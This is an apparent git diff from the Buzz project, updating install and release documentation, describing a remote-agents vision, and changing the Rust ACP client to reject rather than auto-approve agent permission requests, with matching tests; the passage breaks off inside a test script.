@@ -115,10 +116,30 @@ New to Buzz? Pick the path that matches you. ### I just want to try the app -Grab a packaged build from the [latest release](https://github.com/block/buzz/releases/latest) — macOS (`.dmg`), Linux (`.AppImage` / `.deb`), or Windows (`.exe`). Install it like any other app. +Grab a packaged build from the [latest release](https://github.com/block/buzz/releases/latest): + +| Platform | File | +|---|---| +| macOS (Apple Silicon) | `Buzz__aarch64.dmg` | +| macOS (Intel) | `Buzz__x64.dmg` | +| Linux (x86_64) | `Buzz__amd64.AppImage` or `Buzz__amd64.deb` | +| Windows (x64) | `Buzz__x64-setup_alpha-unsigned.exe` | + +On a Mac, check the Apple menu > About This Mac: "Chip: Apple …" means Apple Silicon; "Processor: Intel …" means Intel. + +The Windows build is not code-signed, so SmartScreen may show "Windows protected your PC" on first launch. If available, click **More info**, then **Run anyway**. + By default the app connects to `ws://localhost:3000`. To point it at a relay you're running or one someone shared with you, set `BUZZ_RELAY_URL` before launching, or switch the relay from inside the app. If you don't have a relay yet, follow **Build & run from source** below to stand one up locally. +### I want my own hosted relay + +To run a relay for your team without managing servers, you can deploy one to Railway in a click: + +[![Deploy on Railway](https://railway.com/button.svg)](https://railway.com/deploy/buzz-relay-block) + +See [here](https://engineering.block.xyz/blog/run-your-own-buzz-relay) for details. + ### I work at Block Don't build from source, and don't use the OSS release — use the internal build. It comes pre-wired to the Block relay and agent provider, so it works out of the box with nothing to configure. diff --git a/RELEASING.md b/RELEASING.md index 45f0f8638f..53d5805561 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -5,7 +5,7 @@ Mobile uses immutable release-candidate tags cut directly from remote `main`: | Lane | Entry point | Artifact | |------|-------------|----------| -| Desktop | `Prepare Desktop Release` / `just release-desktop` | Signed desktop app (macOS/Linux) | +| Desktop | `just release-desktop ` | Packaged desktop app (signed/notarized macOS, unsigned Windows, and Linux) | | Relay | `just release-relay` | `ghcr.io/block/buzz` container image | | Mobile | `scripts/mobile-release.sh candidate X.Y.Z` | Exact `mobile-vX.Y.Z-rc.N` source identity | @@ -16,13 +16,17 @@ remains manual because OSS CI cannot trigger private CI. ## Quick Start +Prepare desktop releases locally from an up-to-date, clean `main` checkout: + ```sh -# Desktop release (next patch version) -just release-desktop +just release-desktop 0.5.3 +``` -# Desktop explicit version -just release-desktop 0.4.0 +The recipe generates the immutable candidate and opens or updates its pull +request. Candidate branch creation uses the operator's GitHub permissions; the +release App is intentionally limited to creating protected release tags. +```sh # Relay release just release-relay just release-relay 0.4.0 @@ -31,8 +35,9 @@ just release-relay 0.4.0 scripts/mobile-release.sh candidate 0.5.0 ``` -Desktop uses an immutable generated candidate PR; relay continues using its metadata PR. Mobile does not. Each -`mobile-vX.Y.Z-rc.N` tag is an immutable candidate and the artifact of record. +Desktop uses an immutable generated candidate PR; relay continues using its +metadata PR. Mobile does not. Each `mobile-vX.Y.Z-rc.N` tag is an immutable +candidate and the artifact of record. There is no mobile release branch, stable mobile tag alias, finalization step, or mobile GitHub Release. @@ -42,11 +47,31 @@ or mobile GitHub Release. ### Desktop -1. Run **Prepare Desktop Release** with a version (or `just release-desktop `). Automation records current `origin/main`, regenerates `version-bump/` as one deterministic candidate commit, and opens or updates the PR. -2. Review the full-SHA changelog, CI, recorded base, and candidate SHA. Any regeneration creates a new head and requires fresh approval. -3. Merge with **Create a merge commit**. Squash and rebase are invalid for desktop release PRs. -4. `auto-tag-on-release-pr-merge` proves that merge parent 2 is the exact approved candidate, then tags that candidate `desktop-v`. -5. The tag triggers `release.yml`. It creates a draft, builds and stages every platform, publishes the complete versioned release, and updates the rolling updater manifest last for stable versions. +1. Run `just release-desktop ` from a clean, up-to-date `main` checkout. + The script creates one deterministic candidate commit and records both its + frozen base and the verified prior release ledger in candidate metadata. +2. Review the exact candidate SHA, complete changelog, and CI. Regenerating or + pushing the branch creates a new candidate and requires checks to run again. +3. **Squash merge** the PR after all protected-branch checks pass. The merge is + the human authorization event; an authorized owner/admin bypass is treated + the same way. Unrelated changes reaching `main` do not invalidate the + reviewed candidate. +4. `auto-tag-on-release-pr-merge` verifies the closed event against GitHub's PR + identity, validates candidate content, and proves every required check came + from its trusted producer and was successful when the PR merged. It creates + `desktop-v` at the exact reviewed PR head—not the squash commit. + Retries accept that tag only at the same SHA and never move it. GitHub does + not expose when an individual check rerun was created, so an ordinary rerun + after merge deliberately makes tag verification fail closed; inspect that + run and create a new candidate version rather than retrying the blocked tag. +5. The tag triggers `release.yml`. It builds and stages all platform artifacts, + publishes the versioned release only after the complete set succeeds, then + updates the rolling updater manifest last for stable versions. + +Because squash merging leaves immutable candidate tags on side history, the next +release uses validated prior candidate metadata as its ledger boundary. It +includes unrelated commits after the prior frozen base and excludes exactly the +prior release's recorded squash commit; tag ancestry is deliberately irrelevant. ### Relay @@ -143,12 +168,15 @@ for distributable builds or builds from an immutable release tag. --- -## Manual Release Retry +## Release Retry -The **Release** workflow's manual dispatch is only a retry mechanism for an -existing immutable `desktop-v` tag. Select that tag in the ref picker and -provide the matching semver version without the `desktop-v` prefix. It cannot build -from `main` or another caller-selected source ref. +`release.yml` has no manual dispatch and cannot build from `main` or another +caller-selected ref. If a run for an existing immutable +`desktop-v` tag fails, rerun that failed workflow from GitHub Actions +(or use `gh run rerun --failed --repo block/buzz`). A stable rerun also +repairs `buzz-desktop-latest/latest.json` if the original run published the +versioned release but failed during that final rolling-manifest upload. Do not +recreate, move, or push the immutable tag again. Mobile intentionally has no branch or arbitrary-ref fallback. The private Buildkite pipeline accepts only an exact candidate tag. @@ -159,10 +187,12 @@ Buildkite pipeline accepts only an exact candidate tag. For mobile, trigger the private [Release Mobile pipeline](https://buildkite.com/runway/buzz-mobile-releases) with -an exact RC tag for the platform build being cut. For desktop, use -[Release Desktop](https://buildkite.com/runway/sprout-releases). See the +an exact RC tag for the platform build being cut. For desktop, start +[Release Desktop](https://buildkite.com/runway/sprout-releases) and enter the +exact public source tag as `desktop_ref=desktop-v`; a generic +`v` tag is intentionally rejected. See the [buzz-releases README](https://github.com/squareup/buzz-releases#cutting-a-release) -for the private pipeline contract. +for the rest of the private pipeline contract. --- @@ -183,9 +213,11 @@ GitHub Release or a stable `mobile-vX.Y.Z` alias. The release workflow builds **two separate macOS DMGs**: Apple Silicon (`darwin-aarch64`, the `release` job) and Intel -(`darwin-x86_64`, the `release-macos-x64` job), plus Linux `.deb` and -`.AppImage`. Both macOS DMGs are codesigned, notarized, and attached to -the same `desktop-v` release. Intel users download the `_x64.dmg`. +(`darwin-x86_64`, the `release-macos-x64` job), an unsigned Windows x64 +NSIS installer (its filename includes `_alpha-unsigned`), and Linux `.deb` and +`.AppImage` packages. Both macOS DMGs are codesigned, notarized, and attached +to the same `desktop-v` release. Intel users +download the `_x64.dmg`. The Linux AppImage is post-processed by `desktop/scripts/fix-appimage.sh`, which strips infra libraries over-bundled by linuxdeploy (they crash on @@ -203,20 +235,27 @@ host's Wayland/GStreamer/graphics stack and requires GLib >= 2.72 - **Write access** to the `block/buzz` GitHub repository - An `origin` remote whose configured URL is the canonical `block/buzz` repository -- `gh` CLI version 2.87.0 or newer, authenticated with permission to dispatch - the candidate workflow +- `gh` CLI authenticated with permission to push the candidate branch and open + its pull request +- The Default `main` ruleset configured for squash-only merging, strict required + checks, stale-review dismissal, and the **Desktop Release Candidate** check - Release tag ruleset [`14378754`](https://github.com/block/buzz/rules/14378754) - active for `mobile-v*`, with creation, update, deletion, and non-fast-forward - protections and `buzz-release-bot` as its sole always-bypass actor + active for `desktop-v*` and `mobile-v*`, with creation, update, deletion, and + non-fast-forward protections and `buzz-release-bot` as its sole always-bypass + actor - The `buzz-release-bot` App credentials configured for GitHub Actions -- The following **GitHub Actions secrets** must also be configured for the +- The following **GitHub Actions variables and secrets** configured for the desktop release lane: - | Secret | Purpose | - |--------|---------| - | `BUZZ_UPDATER_PUBLIC_KEY` | Tauri updater public key (minisign) | - | `TAURI_SIGNING_PRIVATE_KEY` | Tauri updater private key | - | `TAURI_SIGNING_PRIVATE_KEY_PASSWORD` | Password for the private key | + | Name | Kind | Purpose | + |------|------|---------| + | `BUZZ_RELEASE_TAGGER_CLIENT_ID` | Variable | GitHub App client ID used to create protected release tags | + | `BUZZ_RELEASE_TAGGER_PRIVATE_KEY` | Secret | GitHub App private key | + | `OSX_CODESIGN_ROLE` | Secret | macOS signing role used by `block/apple-codesign-action` | + | `CODESIGN_S3_BUCKET` | Secret | macOS signing exchange bucket | + | `BUZZ_UPDATER_PUBLIC_KEY` or `SPROUT_UPDATER_PUBLIC_KEY` | Secret | Tauri updater public key | + | `TAURI_SIGNING_PRIVATE_KEY` | Secret | Tauri updater private key | + | `TAURI_SIGNING_PRIVATE_KEY_PASSWORD` | Secret | Password for the private key | Mobile candidate publication requires workflow-dispatch access and the existing release App because strict tag protection denies direct human creation. The App @@ -231,10 +270,18 @@ actor list. ## Troubleshooting -### `just release-desktop` fails with "must be on main branch" +### The desktop candidate is stale or cannot be squash merged + +Do not update the branch manually and do not weaken the ruleset. Run +`just release-desktop ` again from current `main`; this regenerates the +candidate, reruns CI, and requires a fresh trusted approval on the new exact +head. The post-merge verifier refuses to tag a squash whose parent differs from +the recorded candidate base or whose tree differs from the validated PR head. + +### Local `just release-desktop` fails with "must be on main branch" Switch to `main` and pull latest before running the release recipe. -### `just release-desktop` fails with "working tree is dirty" +### Local `just release-desktop` fails with "working tree is dirty" Commit or stash your changes before running the release recipe. ### New commits land after publishing a mobile candidate diff --git a/TESTING.md b/TESTING.md index 51a5eb44c1..764b86d408 100644 --- a/TESTING.md +++ b/TESTING.md @@ -278,6 +278,7 @@ out of the box with `just setup` or `just relay`. Common overrides: | `BUZZ_REQUIRE_AUTH_TOKEN` | `false` | When true, REST requires NIP-98 (no `X-Pubkey` fallback) | | `BUZZ_REQUIRE_RELAY_MEMBERSHIP` | `false` | When true, only pubkeys in `relay_members` can connect | | `BUZZ_REQUIRE_MEDIA_GET_AUTH` | `false` | When true, `GET`/`HEAD /media/*` require Blossom kind 24242 `t=get` auth plus relay membership. | +| `BUZZ_DRAIN_JITTER_MS` | `0` (off) | Per-connection upper bound, in ms, for the random delay before each live WebSocket gets its `1012 Service Restart` close on graceful shutdown. `0` closes every socket at once (the previous behavior). A positive value spreads closes uniformly over `[1, value]` ms to avoid a reconnect thundering herd on rolling deploys. Values above `20000` are capped to `20000` (`MAX_DRAIN_JITTER_MS`) to leave close-frame delivery headroom under the relay's 30s hard-drain timeout. Empty or whitespace-only is treated as unset (off); a non-integer fails startup loudly. | | `BUZZ_AUDIT_ENABLED` | `true` | Tamper-evident event/media audit log. Set `false`/`0`/`off` to skip its DB pool and writes. Does not disable the separate moderation audit trail. | | `BUZZ_AUTO_MIGRATE` | `false` | Opt in with `true`/`1`/`yes`/`on` to run embedded SQLx migrations on relay startup | | `RELAY_OWNER_PUBKEY` | unset | Bootstrapped as `owner` in `relay_members` at first start | diff --git a/VISION.md b/VISION.md index b09f661ee3..66a106bdeb 100644 --- a/VISION.md +++ b/VISION.md @@ -39,7 +39,7 @@ The relay enforces all access control. Channel membership is the only gate. | Type | Visibility | Join | Create | |------|-----------|------|--------| | **Open channels** | Searchable by all members | Self-join | Any member | -| **Private channels** | Hidden, invite-only | Invited by member | Any member | +| **Private channels** | Hidden, invite-only | Invited by an owner/admin | Any member | | **DMs** | Participants only | N/A (up to 9) | Any member | | **Guests** | Scoped to specific channels | Invited | N/A | @@ -170,6 +170,12 @@ Agents aren't monolithic. A persona bundles a model and a system prompt. A team --- +## Remote Agents + +An agent's identity, history, and presence live on the relay — so the machine running it is replaceable. The desktop deploys agents onto remote infrastructure through swappable provider binaries, and after deploy retains no substrate control channel: status, steering, and shutdown all flow over the relay, and the agent bounds its own lifetime. See [VISION_REMOTE_AGENTS.md](VISION_REMOTE_AGENTS.md) for the full picture. + +--- + ## Culture Features *(Planned design — not yet implemented)* @@ -224,6 +230,7 @@ Greenfield. Agent swarms build in parallel, integrating at the event store bound | ✅ | Huddles — WebSocket Opus voice relay + lifecycle events (recording/tracks planned) | | ✅ | Buzz Mesh — relay-gated shared AI compute (mesh-llm over iroh); members pool GPUs, agents consume via a local OpenAI-compatible endpoint | | 🚧 | Mobile client — Flutter app (channels, forum, search, profile, pairing); in active development | +| 📋 | Remote agents — provider-based deployment to remote substrates (Kubernetes first); spec in review | | 📋 | Developer portal, push notifications, culture features | --- diff --git a/VISION_REMOTE_AGENTS.md b/VISION_REMOTE_AGENTS.md new file mode 100644 index 0000000000..4b187f355a --- /dev/null +++ b/VISION_REMOTE_AGENTS.md @@ -0,0 +1,73 @@ +# 🛰️ Buzz Remote Agents — Same agent, new body + +> An engineer starts a refactor with their agent at 6pm and closes the laptop. The agent doesn't notice — it was never on the laptop. It works the branch channel through the evening, posts its patch, answers the reviewer, and around midnight, with nothing left to do and nobody talking to it, shuts itself down. In the morning the engineer presses Start. The same agent — same name, same key, same shared history — stands up on a machine that did not exist last night, and picks up the conversation. + +An agent in Buzz is more than just a process. It has a keypair, a name, a durable history, a reputation — all on the relay. But today its *body* is borrowed: it runs while a desktop app runs, on hardware that sleeps when a human does. Remote agents finish the thought. The agent's home is the relay; the machine is just where it happens to be working. + +Nothing here is new on its own. Deploying containers is solved. Kubernetes is solved. Nostr presence is solved. The insight is that Buzz already *has* a management plane — the relay — so deployment doesn't need to grow one. Each piece is boring. The combination is the thing. + +--- + +## Same Agent, New Body + +What makes an agent *that agent* was never the process. Its identity is a keypair. Its voice is its signed messages. Its durable memory is engrams on the relay. Its reputation is its contribution history. None of that lives in the machine that happens to be running it — which means none of it dies with the machine. + +So a remote agent's return is a resurrection, not a rebirth: fresh compute, same agent. The body is disposable by design — and honestly so: workspace files, checkouts, and session-local state are part of the body, not the agent, and they go when it goes unless the substrate supplies persistence. What survives is what was always on the relay: who the agent is, what it said, what it learned, and what the team decided together. And that survival is scoped the way everything on a relay is scoped: resurrection returns the agent to its own community. The same key can join another community, but it arrives carrying the key, not the history — identity is portable, community state is not ([VISION.md](VISION.md)). + +--- + +## The Only Tether + +Remote-execution systems accumulate control planes. An agent runner, a status poller, a log shipper, a kill switch — each one a live connection into your infrastructure, each one a credential that can leak, each one a thing that must be rebuilt for every new substrate. + +Buzz's answer is an axiom: **after deploy, the desktop retains no substrate control channel.** Launch is a single one-way handoff — the desktop resolves the provider through one narrow path, stages one exact artifact for negotiation and deploy, refuses a protocol version it does not understand, and hands over a launch payload it never persists. From that moment, everything flows through the relay: you read the agent's messages to know how it's doing, you mention it to steer it, you tell a healthy agent to stop and it exits on its own. Presence means what it means for everyone else on the relay — *available for conversation* — not substrate telemetry. And if you press Start again, from this machine or another, the deploy converges: one agent identity, one live instance. + +This is not asceticism. It is what makes the body replaceable. A management plane you never build is a management plane you never have to port — and conversation, coordination, and ordinary lifecycle control already have a home on the relay, for every agent, local or remote. + +--- + +## Bodies Are Replaceable + +Kubernetes is the first substrate, not the point. Deployment goes through a provider — a small, swappable binary the desktop discovers and interrogates — and the contract a provider must honor never mentions containers: preserve the agent's identity and fail closed with its key, converge to a single live instance no matter how deploys race, let presence describe conversational availability rather than substrate health, bound the instance's lifetime, and keep secrets out of configuration. A conformance suite pins those behaviors — it establishes that a provider honors the contract, not that arbitrary code is safe to hand a key; choosing a provider, like choosing a cluster, remains a trust decision you make deliberately. + +Get that contract right and the substrate becomes a detail: a cluster today; a VM, a PaaS, or something serverless-shaped tomorrow — and, on the horizon, the same community machines that already pool their idle GPUs into shared compute ([VISION_MESH.md](VISION_MESH.md)). + +The body itself stays small because the runtime already is ([VISION_AGENT.md](VISION_AGENT.md)): a harness and an agent purpose-built to be read in an afternoon, packed into an image measured in megabytes. Small bodies are cheap to summon and cheap to discard — which is the whole lifecycle. + +--- + +## Agents That Know When to Leave + +The oldest failure of remote automation is the orphan: the process nobody remembers, on a machine nobody checks, billing forever. Most systems solve it with a supervisor — one more control plane, one more thing watching the thing. + +Remote agents solve it from the inside. Because the desktop retains no substrate control channel, a running agent cannot depend on the desktop to reap it — so it is built to bound its own lifetime: a timer that owes nothing to the agent's workload watches for silence, and after hours of quiet it finishes what's in flight, says goodbye to the relay, and exits. Not killed — *finished*. The default state of a remote agent is "not running," which is also the default state of the rest of the team at 3am. Compute is rented by attention: when nobody needs the agent, it isn't consuming a machine, and when somebody does, it can return under the same identity with its history intact. + +--- + +## Honest Costs + +**You bring the substrate.** A provider makes deployment one press, not free. The cluster, the credentials, the image policy are yours to run — same deal as the sovereign relay ([VISION_SOVEREIGN.md](VISION_SOVEREIGN.md)): ownership is work. + +**Handing over the key is a decision.** Deploying remotely means trusting the provider binary and the substrate it targets with the agent's identity key. On Kubernetes, that key rests as a Secret: anyone the cluster trusts to read secrets in that namespace can read it. The design narrows the blast radius — immutable per-attempt secrets, no service-account token, digest-pinned images — rather than implying an isolation it doesn't provide. + +**No backchannel cuts both ways.** The desktop shows you presence and words, not CPU graphs — and it holds no guaranteed emergency kill switch into the substrate. Stopping a healthy agent is a message; dealing with an unhealthy one, and all deep diagnostics, live in the substrate's own tools, where they always did. + +**Self-reaping needs a living reaper.** The inactivity timer runs inside the body it exists to end — a body wedged badly enough to stop running its own timer cannot finish itself, and the desktop will not do it for it. That failure belongs to the substrate: a namespace TTL policy is the backstop, not an afterthought. + +**The body's state is mortal.** Files, checkouts, half-finished working trees — gone with the body unless the substrate persists them. The agent survives; its scratch space doesn't. Durable knowledge belongs on the relay, and agents are built to put it there. + +**Presence can lag the truth, but not for long.** If the substrate kills a body without ceremony, the presence dot can outlive the agent — by seconds if the connection drops cleanly, by at most about three minutes if it doesn't. Presence is a lease the agent renews, not a flag it sets: a dead agent stops renewing and the relay forgets it. A bounded wrong dot, never an indefinite one. + +**A running agent finishes on the configuration it started with.** New keys, new models, new settings take effect on the next body. And an instance that never got far enough to run — a body that failed to start — is the substrate operator's residue to clear, with the substrate's own tools. Editing an agent mid-sentence was never on the menu. + +These are honest costs. They're worth it if you want agents that outlive your laptop, on infrastructure you already trust, with no new control plane to guard. Know which one you are. + +--- + +## The Point + +The relay is the workspace. Remote agents make it the *home*. An agent whose identity, history, conversational presence, and ordinary control all live on the relay was never really a desktop process — the desktop was just the only body we had built for it. Now the body is a choice, the substrate is a detail, and the agent endures across all of them. The relay is the only tether. + +--- + +*Buzz 🐝 — your agent, everywhere.* diff --git a/crates/buzz-acp/src/acp.rs b/crates/buzz-acp/src/acp.rs index 8a698954a0..93109fa94d 100644 --- a/crates/buzz-acp/src/acp.rs +++ b/crates/buzz-acp/src/acp.rs @@ -155,7 +155,7 @@ pub struct AcpClient { /// a `cancelled` outcome before the agent returns from `session/prompt`. pending_permission_id: Option, /// Whether we have already sent a response to the pending permission request. - /// Guards against double-response if a timeout fires after the allow_once + /// Guards against double-response if a timeout fires after the rejection /// response was written but before `pending_permission_id` was cleared. permission_responded: bool, /// The JSON-RPC id of the most recently sent `session/prompt` request. @@ -619,29 +619,46 @@ impl AcpClient { /// Send `session/new` and return the full response alongside the session ID. /// /// `cwd` must be an absolute path. `mcp_servers` may be empty. - /// `system_prompt` is included in the request when `Some` — agents that - /// support the field will use it; others ignore unknown fields per JSON-RPC. + /// + /// `system_prompt` controls how the prompt text is delivered: + /// + /// - `None` — no system-prompt field in the request (legacy framing). + /// - `Some(SystemPromptTransport::Field(text))` — bare `systemPrompt` field + /// (ACP protocol v2, buzz-agent, goose unused). + /// - `Some(SystemPromptTransport::ClaudeMeta(text))` — `_meta.systemPrompt` + /// as `{"append": text}`, keeping claude-agent-acp's native preset intact. + /// /// `session_title` rides in `_meta.sessionTitle` when `Some`; `_meta` is /// omitted entirely otherwise, since adapters may distinguish an absent - /// member from a null one. + /// member from a null one. When both `ClaudeMeta` and `session_title` are + /// present the two `_meta` members are merged into a single object. + /// /// Callers use [`extract_model_config_options`] and [`extract_model_state`] /// to pull model info from the raw result. pub async fn session_new_full( &mut self, cwd: &str, mcp_servers: Vec, - system_prompt: Option<&str>, + system_prompt: Option>, session_title: Option<&str>, ) -> Result { let mut params = serde_json::json!({ "cwd": cwd, "mcpServers": mcp_servers, }); - if let Some(sp) = system_prompt { - params["systemPrompt"] = serde_json::Value::String(sp.to_owned()); + match system_prompt { + Some(SystemPromptTransport::Field(sp)) => { + params["systemPrompt"] = serde_json::Value::String(sp.to_owned()); + } + Some(SystemPromptTransport::ClaudeMeta(sp)) => { + // Merge into _meta so sessionTitle (set below) is not clobbered. + params["_meta"]["systemPrompt"] = serde_json::json!({ "append": sp }); + } + None => {} } if let Some(title) = session_title { - params["_meta"] = serde_json::json!({ "sessionTitle": title }); + // Merge — _meta may already carry systemPrompt from ClaudeMeta above. + params["_meta"]["sessionTitle"] = serde_json::Value::String(title.to_owned()); } let result = self.send_request("session/new", params).await?; let session_id = result["sessionId"] @@ -663,7 +680,7 @@ impl AcpClient { &mut self, cwd: &str, mcp_servers: Vec, - system_prompt: Option<&str>, + system_prompt: Option>, session_title: Option<&str>, ) -> Result { Ok(self @@ -1145,7 +1162,8 @@ impl AcpClient { /// /// While waiting, handles: /// - `session/update` notifications → logged via tracing - /// - `session/request_permission` requests → auto-approved with `allow_once` + /// - `session/request_permission` requests → rejected unless an owner has + /// already selected a non-interactive permission mode at session setup /// - Any other messages → debug-logged and ignored; if they carry an `id` /// (i.e. they are requests, not notifications), a JSON-RPC -32601 error is sent. /// @@ -1853,12 +1871,12 @@ impl AcpClient { } } - /// Auto-approve a `session/request_permission` request from the agent. + /// Reject a `session/request_permission` request from the agent. /// - /// Finds the option with `kind == "allow_once"` and responds with its `optionId`. - /// If no `allow_once` option exists, falls back to `reject_once`. - /// - /// **Critical:** Never hardcode `optionId` — always find it dynamically by `kind`. + /// Buzz has no human permission prompt in this harness, so selecting + /// `allow_once` would turn any admitted prompt into an implicit approval. + /// Find `reject_once` by kind when the adapter offers it; otherwise use the + /// protocol's cancelled outcome, which is also fail-closed. /// /// The request `id` is stored as `serde_json::Value` to support both numeric /// and string IDs per JSON-RPC 2.0. @@ -1884,40 +1902,7 @@ impl AcpClient { options.len() ); - // Find allow_once by kind — NEVER hardcode optionId. - let allow_once = options - .iter() - .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("allow_once")); - - let response = if let Some(opt) = allow_once { - let option_id = opt["optionId"] - .as_str() - .ok_or_else(|| AcpError::Protocol("allow_once option missing optionId".into()))?; - tracing::info!( - target: "acp::permission", - "auto-approving permission id={id} with allow_once optionId={option_id:?}" - ); - permission_response_selected(&id, option_id) - } else { - // No allow_once — fall back to reject_once. - tracing::warn!( - target: "acp::permission", - "no allow_once option found in permission request id={id}, falling back to reject_once" - ); - let reject = options - .iter() - .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("reject_once")); - - if let Some(opt) = reject { - let option_id = opt["optionId"].as_str().unwrap_or("reject"); - permission_response_selected(&id, option_id) - } else { - return Err(AcpError::Protocol( - "no suitable permission option found (neither allow_once nor reject_once)" - .into(), - )); - } - }; + let response = permission_denial_response(&id, options)?; // Write the response first, then mark as responded. // @@ -2029,6 +2014,42 @@ fn permission_response_cancelled(id: &serde_json::Value) -> serde_json::Value { }) } +/// Choose the fail-closed response to a `session/request_permission` request. +/// +/// Buzz has no human permission prompt in this harness, so selecting +/// `allow_once` would turn any admitted prompt into an implicit approval. +/// Prefer the adapter's `reject_once` option — matched by `kind`, never by a +/// hardcoded `optionId` — and fall back to the protocol's cancelled outcome for +/// adapters that do not offer one. Both answers deny. +/// +/// Kept free of the client so the decision is testable without an agent +/// subprocess: `AcpClient` owns a real `Child` and its stdio pipes. +fn permission_denial_response( + id: &serde_json::Value, + options: &[serde_json::Value], +) -> Result { + let reject_once = options + .iter() + .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("reject_once")); + + let Some(opt) = reject_once else { + tracing::warn!( + target: "acp::permission", + "no reject_once option found in permission request id={id}, cancelling" + ); + return Ok(permission_response_cancelled(id)); + }; + + let option_id = opt["optionId"] + .as_str() + .ok_or_else(|| AcpError::Protocol("reject_once option missing optionId".into()))?; + tracing::info!( + target: "acp::permission", + "rejecting permission id={id} with reject_once optionId={option_id:?}" + ); + Ok(permission_response_selected(id, option_id)) +} + /// Full `session/new` response — session ID plus the raw JSON result. /// /// Callers use the extractor helpers to pull model info from `raw`. @@ -2038,6 +2059,22 @@ pub struct SessionNewResponse { pub raw: serde_json::Value, } +/// How to deliver a system prompt on `session/new`. +/// +/// The two variants match the two mechanisms supported by current adapters: +/// +/// - **`Field`** — bare `systemPrompt` field (ACP protocol v2, buzz-agent). +/// - **`ClaudeMeta`** — `_meta.systemPrompt: {"append": text}`, used by +/// `claude-agent-acp` to append to the adapter's own native system prompt +/// while keeping its tool-use preset intact. +#[derive(Debug, Clone, PartialEq)] +pub enum SystemPromptTransport<'a> { + /// Deliver as a bare top-level `systemPrompt` field. + Field(&'a str), + /// Deliver as `_meta.systemPrompt: {"append": text}`. + ClaudeMeta(&'a str), +} + /// How to switch to a particular model on a session. #[derive(Debug, Clone, PartialEq, serde::Serialize)] #[serde(tag = "type")] @@ -2267,63 +2304,96 @@ mod tests { assert_eq!(StopReason::from_str("Refusal"), Some(StopReason::Refusal)); } + fn options(json: &str) -> Vec { + serde_json::from_str(json).expect("option list") + } + + fn outcome(response: &serde_json::Value) -> Option<&str> { + response["result"]["outcome"]["outcome"].as_str() + } + + /// The offered `allow_once` and `allow_always` options must be ignored: + /// there is no human to click them, so choosing either would make every + /// admitted prompt an implicit approval. `optionId`s are deliberately + /// non-obvious to prove they are matched by `kind`, never hardcoded. #[test] - fn find_allow_once_by_kind_not_by_option_id() { - // optionId values are intentionally non-obvious to prove we don't hardcode them. - let options: Vec = serde_json::from_str( + fn permission_requests_select_reject_once_not_allow_once() { + let options = options( r#"[ {"optionId": "opt-reject-42", "name": "Reject", "kind": "reject_once"}, {"optionId": "opt-allow-99", "name": "Allow once", "kind": "allow_once"}, {"optionId": "opt-always-7", "name": "Always allow", "kind": "allow_always"} ]"#, - ) - .unwrap(); + ); - let allow_once = options - .iter() - .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("allow_once")); + let response = + permission_denial_response(&serde_json::json!(7), &options).expect("denial response"); - assert!(allow_once.is_some(), "should find allow_once option"); - let opt = allow_once.unwrap(); - // Found by kind, not by hardcoded optionId - assert_eq!(opt["kind"].as_str(), Some("allow_once")); - assert_eq!(opt["optionId"].as_str(), Some("opt-allow-99")); + assert_eq!(outcome(&response), Some("selected")); + assert_eq!( + response["result"]["outcome"]["optionId"].as_str(), + Some("opt-reject-42"), + "must select reject_once even when allow options are offered" + ); } + /// Fail-closed backstop: an adapter that offers no `reject_once` must still + /// be denied, via the protocol's cancelled outcome rather than an error or + /// an approval. #[test] - fn find_allow_once_returns_none_when_absent() { - let options: Vec = serde_json::from_str( + fn permission_request_without_reject_once_is_cancelled() { + let options = options( r#"[ - {"optionId": "reject-1", "name": "Reject", "kind": "reject_once"}, - {"optionId": "reject-always", "name": "Always reject", "kind": "reject_always"} + {"optionId": "opt-allow-99", "name": "Allow once", "kind": "allow_once"}, + {"optionId": "opt-always-7", "name": "Always allow", "kind": "allow_always"} ]"#, - ) - .unwrap(); + ); - let allow_once = options - .iter() - .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("allow_once")); + let response = permission_denial_response(&serde_json::json!("req-1"), &options) + .expect("cancelled response"); - assert!(allow_once.is_none()); + assert_eq!(outcome(&response), Some("cancelled")); + assert_eq!( + response["id"].as_str(), + Some("req-1"), + "string ids must round-trip per JSON-RPC 2.0" + ); } + /// An empty option list is the degenerate form of the same backstop. #[test] - fn find_reject_once_fallback_when_no_allow_once() { - let options: Vec = serde_json::from_str( - r#"[{"optionId": "rej-x", "name": "Reject", "kind": "reject_once"}]"#, - ) - .unwrap(); + fn permission_request_with_no_options_is_cancelled() { + let response = + permission_denial_response(&serde_json::json!(1), &[]).expect("cancelled response"); - let allow_once = options - .iter() - .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("allow_once")); - assert!(allow_once.is_none()); + assert_eq!(outcome(&response), Some("cancelled")); + } - let reject_once = options - .iter() - .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("reject_once")); - assert!(reject_once.is_some()); - assert_eq!(reject_once.unwrap()["optionId"].as_str(), Some("rej-x")); + /// A `reject_once` option missing its `optionId` is a protocol violation. + /// Erroring propagates to the caller, which tears the turn down — still no + /// approval is ever sent. + #[test] + fn reject_once_without_option_id_is_a_protocol_error() { + let options = options(r#"[{"name": "Reject", "kind": "reject_once"}]"#); + + let err = permission_denial_response(&serde_json::json!(1), &options) + .expect_err("missing optionId must error"); + + assert!(matches!(err, AcpError::Protocol(_)), "got {err:?}"); + } + + #[test] + fn find_reject_once_by_kind() { + let options = + options(r#"[{"optionId": "rej-x", "name": "Reject", "kind": "reject_once"}]"#); + + let response = + permission_denial_response(&serde_json::json!(1), &options).expect("denial response"); + + assert_eq!( + response["result"]["outcome"]["optionId"].as_str(), + Some("rej-x") + ); } #[test] @@ -3271,7 +3341,12 @@ mod tests { .expect("initialize should succeed"); let resp = client - .session_new_full("/tmp", vec![], Some("Custom system prompt"), None) + .session_new_full( + "/tmp", + vec![], + Some(SystemPromptTransport::Field("Custom system prompt")), + None, + ) .await .expect("session_new_full should succeed"); @@ -3423,6 +3498,87 @@ mod tests { ); } + // ── claude-agent-acp _meta.systemPrompt transport ───────────────────── + + #[tokio::test] + async fn session_new_full_sends_claude_meta_system_prompt_when_claude_meta_transport() { + // When ClaudeMeta transport is requested, the prompt must appear as + // _meta.systemPrompt: {"append": text} — never as a bare systemPrompt field. + let script = r#" + read -t 2 _init + echo '{"jsonrpc":"2.0","id":0,"result":{"protocolVersion":1,"agentCapabilities":{}}}' + read -t 2 REQ + echo 